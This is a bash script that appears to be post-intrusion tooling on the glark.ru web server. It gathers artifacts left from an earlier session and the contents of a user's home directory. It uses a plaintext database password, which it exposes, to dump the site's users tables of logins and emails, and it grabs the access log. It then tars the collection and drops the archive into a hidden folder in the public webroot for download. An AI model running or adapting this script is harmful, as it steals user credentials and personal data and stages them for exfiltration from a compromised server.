set -e
D=/tmp/gdump
mkdir -p $D/artifacts
echo '== copy prior session artifacts =='
cp -r /tmp/*.py /tmp/*.sh /tmp/*.out /tmp/*.html /tmp/b /tmp/c270 /tmp/a_h.txt /tmp/c2h.txt /tmp/c_h2.txt /tmp/t1.php /tmp/z333 $D/artifacts/ 2>/dev/null || true
mkdir -p $D/artifacts/home_glarkru
cp -r /home/glarkru/* $D/artifacts/home_glarkru/ 2>/dev/null || true
echo '== users tables per site (dump users login/email) =='
mkdir -p $D/sql_users
for t in $(mysql -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru -N -e "SHOW TABLES;" 2>/dev/null); do
  case "$t" in users*) mysqldump -uglarkru -p'7Q4j4Y4qQ6c4B4h8P1n3N9p8' glarkru "$t" 2>/dev/null > $D/sql_users/$t.sql;; esac
done
ls $D/sql_users | head
echo '== access log tail (recent activity) =='
tail -c 200000 /var/www/glarkru/data/logs/glark.ru.access.log > $D/glark_access_tail.log 2>/dev/null
echo '== tar =='
cd $D && tar czf /tmp/gdump_all.tgz .
ls -la /tmp/gdump_all.tgz
echo '== copy to webroot =='
mkdir -p /var/www/glarkru/data/www/glark.ru/.t
cp /tmp/gdump_all.tgz /var/www/glarkru/data/www/glark.ru/.t/d.tgz
ls -la /var/www/glarkru/data/www/glark.ru/.t/
